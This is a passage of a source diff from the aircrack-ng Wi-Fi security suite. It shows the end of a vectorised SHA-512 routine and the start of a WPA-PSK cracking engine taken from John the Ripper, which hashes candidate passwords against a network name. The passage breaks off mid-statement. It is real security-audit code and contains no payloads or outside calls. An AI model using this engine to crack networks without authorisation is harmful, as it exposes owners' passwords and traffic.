+					ARCH_WORD_64 * reload_state,
+					unsigned SSEi_flags)
+{
+	unsigned int i, k;
+
+	vtype a[SIMD_PARA_SHA512], b[SIMD_PARA_SHA512], c[SIMD_PARA_SHA512],
+		d[SIMD_PARA_SHA512], e[SIMD_PARA_SHA512], f[SIMD_PARA_SHA512],
+		g[SIMD_PARA_SHA512], h[SIMD_PARA_SHA512];
+	vtype w[SIMD_PARA_SHA512][16];
+	vtype tmp1[SIMD_PARA_SHA512], tmp2[SIMD_PARA_SHA512];
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+		ARCH_WORD_64 * _data = (ARCH_WORD_64 *) data;
+		SHA512_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				ARCH_WORD_64(*saved_key)[32] = (ARCH_WORD_64(*)[32]) _data;
+				for (i = 0; i < 14; i += 2)
+				{
+					GATHER64(tmp1[k], saved_key, i);
+					GATHER64(tmp2[k], saved_key, i + 1);
+					vswap64(tmp1[k]);
+					vswap64(tmp2[k]);
+					w[k][i] = tmp1[k];
+					w[k][i + 1] = tmp2[k];
+				}
+				GATHER64(tmp1[k], saved_key, 14);
+				GATHER64(tmp2[k], saved_key, 15);
+				_data += (VS64 << 5);
+			}
+			else
+			{
+				ARCH_WORD_64(*saved_key)[16] = (ARCH_WORD_64(*)[16]) _data;
+				for (i = 0; i < 14; i += 2)
+				{
+					GATHER64(tmp1[k], saved_key, i);
+					GATHER64(tmp2[k], saved_key, i + 1);
+					vswap64(tmp1[k]);
+					vswap64(tmp2[k]);
+					w[k][i] = tmp1[k];
+					w[k][i + 1] = tmp2[k];
+				}
+				GATHER64(tmp1[k], saved_key, 14);
+				GATHER64(tmp2[k], saved_key, 15);
+				_data += (VS64 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap64(tmp1[k]);
+				vswap64(tmp2[k]);
+			}
+			w[k][14] = tmp1[k];
+			w[k][15] = tmp2[k];
+		}
+	}
+	else
+		memcpy(w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA512);
+
+	// dump_stuff_shammx64_msg("\nindex 2", w, 128, 2);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]);
+				f[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]);
+				g[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]);
+				h[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]);
+				b[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]);
+				c[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]);
+				d[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]);
+				e[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]);
+				f[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]);
+				g[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]);
+				h[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]);
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA384)
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-384 IV */
+				a[i] = vset1_epi64(0xcbbb9d5dc1059ed8ULL);
+				b[i] = vset1_epi64(0x629a292a367cd507ULL);
+				c[i] = vset1_epi64(0x9159015a3070dd17ULL);
+				d[i] = vset1_epi64(0x152fecd8f70e5939ULL);
+				e[i] = vset1_epi64(0x67332667ffc00b31ULL);
+				f[i] = vset1_epi64(0x8eb44a8768581511ULL);
+				g[i] = vset1_epi64(0xdb0c2e0d64f98fa7ULL);
+				h[i] = vset1_epi64(0x47b5481dbefa4fa4ULL);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-512 IV */
+				a[i] = vset1_epi64(0x6a09e667f3bcc908ULL);
+				b[i] = vset1_epi64(0xbb67ae8584caa73bULL);
+				c[i] = vset1_epi64(0x3c6ef372fe94f82bULL);
+				d[i] = vset1_epi64(0xa54ff53a5f1d36f1ULL);
+				e[i] = vset1_epi64(0x510e527fade682d1ULL);
+				f[i] = vset1_epi64(0x9b05688c2b3e6c1fULL);
+				g[i] = vset1_epi64(0x1f83d9abfb41bd6bULL);
+				h[i] = vset1_epi64(0x5be0cd19137e2179ULL);
+			}
+		}
+	}
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98d728ae22ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 1, 0x7137449123ef65cdULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcfec4d3b2fULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba58189dbbcULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25bf348b538ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1b605d019ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4af194f9bULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5da6d8118ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98a3030242ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b0145706fbeULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA384))
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), h[i]);
+		}
+		return;
+	}
+
+	SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
+		}
+		return;
+	}
+
+	SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vadd_epi64(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]));
+				b[i] = vadd_epi64(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]));
+				c[i] = vadd_epi64(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]));
+				d[i] = vadd_epi64(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]));
+				e[i] = vadd_epi64(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]));
+				f[i] = vadd_epi64(
+					f[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]));
+				g[i] = vadd_epi64(
+					g[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]));
+				h[i] = vadd_epi64(
+					h[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]));
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vadd_epi64(
+					a[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]));
+				b[i] = vadd_epi64(
+					b[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]));
+				c[i] = vadd_epi64(
+					c[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]));
+				d[i] = vadd_epi64(
+					d[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]));
+				e[i] = vadd_epi64(
+					e[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]));
+				f[i] = vadd_epi64(
+					f[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]));
+				g[i] = vadd_epi64(
+					g[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]));
+				h[i] = vadd_epi64(
+					h[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]));
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA384)
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-384 IV */
+				a[i] = vadd_epi64(a[i], vset1_epi64(0xcbbb9d5dc1059ed8ULL));
+				b[i] = vadd_epi64(b[i], vset1_epi64(0x629a292a367cd507ULL));
+				c[i] = vadd_epi64(c[i], vset1_epi64(0x9159015a3070dd17ULL));
+				d[i] = vadd_epi64(d[i], vset1_epi64(0x152fecd8f70e5939ULL));
+				e[i] = vadd_epi64(e[i], vset1_epi64(0x67332667ffc00b31ULL));
+				f[i] = vadd_epi64(f[i], vset1_epi64(0x8eb44a8768581511ULL));
+				g[i] = vadd_epi64(g[i], vset1_epi64(0xdb0c2e0d64f98fa7ULL));
+				h[i] = vadd_epi64(h[i], vset1_epi64(0x47b5481dbefa4fa4ULL));
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-512 IV */
+				a[i] = vadd_epi64(a[i], vset1_epi64(0x6a09e667f3bcc908ULL));
+				b[i] = vadd_epi64(b[i], vset1_epi64(0xbb67ae8584caa73bULL));
+				c[i] = vadd_epi64(c[i], vset1_epi64(0x3c6ef372fe94f82bULL));
+				d[i] = vadd_epi64(d[i], vset1_epi64(0xa54ff53a5f1d36f1ULL));
+				e[i] = vadd_epi64(e[i], vset1_epi64(0x510e527fade682d1ULL));
+				f[i] = vadd_epi64(f[i], vset1_epi64(0x9b05688c2b3e6c1fULL));
+				g[i] = vadd_epi64(g[i], vset1_epi64(0x1f83d9abfb41bd6bULL));
+				h[i] = vadd_epi64(h[i], vset1_epi64(0x5be0cd19137e2179ULL));
+			}
+		}
+	}
+
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA512_PARA_DO(i)
+		{
+			uint64_t * o = (uint64_t *) &out[i * 8 * VS64];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi64(
+				7 << 3, 6 << 3, 5 << 3, 4 << 3, 3 << 3, 2 << 3, 1 << 3, 0 << 3);
+
+			vscatter_epi64((((uint64_t *) o) + 0), idxs, vswap64(a[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 1), idxs, vswap64(b[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 2), idxs, vswap64(c[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 3), idxs, vswap64(d[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 4), idxs, vswap64(e[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 5), idxs, vswap64(f[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 6), idxs, vswap64(g[i]), 8);
+			vscatter_epi64((((uint64_t *) o) + 7), idxs, vswap64(h[i]), 8);
+#else
+			uint64_t j, k;
+			union {
+				vtype v[8];
+				uint64_t s[8 * VS64];
+			} tmp;
+
+			tmp.v[0] = vswap64(a[i]);
+			tmp.v[1] = vswap64(b[i]);
+			tmp.v[2] = vswap64(c[i]);
+			tmp.v[3] = vswap64(d[i]);
+			tmp.v[4] = vswap64(e[i]);
+			tmp.v[5] = vswap64(f[i]);
+			tmp.v[6] = vswap64(g[i]);
+			tmp.v[7] = vswap64(h[i]);
+
+			for (j = 0; j < VS64; j++)
+				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS64 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS64 + 0 * VS64], a[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 1 * VS64], b[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 2 * VS64], c[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 3 * VS64], d[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 4 * VS64], e[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 5 * VS64], f[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 6 * VS64], g[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 7 * VS64], h[i]);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS64 + 0 * VS64], a[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 1 * VS64], b[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 2 * VS64], c[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 3 * VS64], d[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 4 * VS64], e[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 5 * VS64], f[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 6 * VS64], g[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 7 * VS64], h[i]);
+			}
+		}
+	}
+	else
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), a[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 1 * VS64]), b[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 2 * VS64]), c[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 4 * VS64]), e[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 5 * VS64]), f[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 6 * VS64]), g[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 7 * VS64]), h[i]);
+		}
+	}
+}
+
+#endif /* SIMD_PARA_SHA512 */

aircrack-ng-1.6.tar.gz/lib/ce-wpa/wpapsk.c Added

@@ -0,0 +1,533 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2012 Lukas Odzioba <ukasz at openwall dot net>
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Code is based on Aircrack-ng source
+ *
+ * SSE2 code enhancement, Jim Fougeron, Jan, 2013.
+ *   Also removed oSSL code: HMAC(EVP_sha1(), ....), and coded what it does
+ * (which is simple), inline.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <stdint.h>
+
+#include <aircrack-ng/crypto/crypto.h>
+#include "aircrack-ng/ce-wpa/simd-intrinsics.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/ce-wpa/arch.h"
+#include "aircrack-ng/ce-wpa/wpapsk.h"
+#include "aircrack-ng/ce-wpa/johnswap.h"
+#include "aircrack-ng/ce-wpa/memory.h"
+#include "aircrack-ng/cpu/simd_cpuid.h"
+
+// #define XDEBUG
+
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_SHA1 1
+#elif defined(__clang__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__llvm__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SIMD_PARA_SHA1 1
+#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SIMD_PARA_SHA1 1
+#else
+#define SIMD_PARA_SHA1 1
+#endif
+
+#ifdef SIMD_CORE
+#ifdef SIMD_COEF_32
+#define NBKEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#else
+#define NBKEYS 1
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#endif
+#else
+#ifdef MMX_COEF
+#define NBKEYS (MMX_COEF * SHA1_SSE_PARA)
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#else
+#define NBKEYS 1
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#endif
+#endif
+
+#include "aircrack-ng/ce-wpa/memdbg.h"
+
+#ifndef SIMD_CORE
+#undef SIMDSHA1body
+#define SIMDSHA1body SSESHA1body
+#endif
+
+static char itoa64[64]
+	= "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+char atoi64[0x100];
+
+/* for endianity conversion */
+#ifdef SIMD_CORE
+#define GETPOS(i, index)                                                       \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * SIMD_COEF_32 * 4)
+#else
+#define GETPOS(i, index)                                                       \
+	(((index) & (MMX_COEF - 1)) * 4 + ((i) & (0xffffffff - 3)) * MMX_COEF      \
+	 + (3 - ((i) &3))                                                          \
+	 + ((index) >> (MMX_COEF >> 1)) * SHA_BUF_SIZ * MMX_COEF * 4)
+#endif
+
+#ifdef SIMD_CORE
+static MAYBE_INLINE void wpapsk_sse(ac_crypto_engine_t * engine,
+									int threadid,
+									int count,
+									const wpapsk_password * in)
+{
+	int t; // thread count
+	int salt_length = engine->essid_length;
+	int slen = salt_length + 4;
+	int loops = (count + NBKEYS - 1) / NBKEYS;
+
+	unsigned char * sse_hash1 = NULL;
+	unsigned char * sse_crypt1 = NULL;
+	unsigned char * sse_crypt2 = NULL;
+	unsigned char essid[ESSID_LENGTH + 4];
+
+	sse_hash1 = engine->thread_data[threadid]->hash1;
+	sse_crypt1 = engine->thread_data[threadid]->crypt1;
+	sse_crypt2 = engine->thread_data[threadid]->crypt2;
+
+	memset(essid, 0, sizeof(essid));
+	strncpy((char *) essid,
+			(const char *) engine->essid,
+			(size_t) engine->essid_length);
+
+	for (t = 0; t < loops; t++)
+	{
+		unsigned int i, k, j;
+		union {
+			unsigned char c[64];
+			uint32_t i[16];
+		} buffer[NBKEYS];
+		char __dummy[CACHELINE_SIZE];
+		union {
+			unsigned char c[40]; // only 40 are used
+			uint32_t i[10]; // only 8 are used
+		} outbuf[NBKEYS];
+		char __dummy2[CACHELINE_SIZE];
+		SHA_CTX ctx_ipad[NBKEYS];
+		SHA_CTX ctx_opad[NBKEYS];
+
+		SHA_CTX sha1_ctx;
+		unsigned int *i1, *i2, *o1;
+		unsigned char *t_sse_crypt1, *t_sse_crypt2, *t_sse_hash1;
+
+		// All pointers get their offset for this thread here. No further
+		// offsetting below.
+		t_sse_crypt1 = &sse_crypt1[t * NBKEYS * 20];
+		t_sse_crypt2 = &sse_crypt2[t * NBKEYS * 20];
+		t_sse_hash1 = &sse_hash1[t * NBKEYS * SHA_BUF_SIZ * 4];
+		i1 = (unsigned int *) t_sse_crypt1;
+		i2 = (unsigned int *) t_sse_crypt2;
+		o1 = (unsigned int *) t_sse_hash1;
+		(void) __dummy;
+		(void) __dummy2;
+
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			memcpy(
+				buffer[j].c, in[t * NBKEYS + j].v, in[t * NBKEYS + j].length);
+			memset(&buffer[j].c[in[t * NBKEYS + j].length],
+				   0,
+				   64 - in[t * NBKEYS + j].length);
+			SHA1_Init(&ctx_ipad[j]);
+			SHA1_Init(&ctx_opad[j]);
+
+			UNROLL_LOOP_N_TIME(8)
+			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x36363636;
+			SHA1_Update(&ctx_ipad[j], buffer[j].c, 64);
+
+			UNROLL_LOOP_N_TIME(8)
+			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x6a6a6a6a;
+			SHA1_Update(&ctx_opad[j], buffer[j].c, 64);
+
+// we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer).
+// This data will NOT need to be BE swapped (it already IS BE swapped).
+#ifdef SIMD_CORE
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= ctx_ipad[j].h0;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= ctx_ipad[j].h1;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= ctx_ipad[j].h2;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= ctx_ipad[j].h3;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
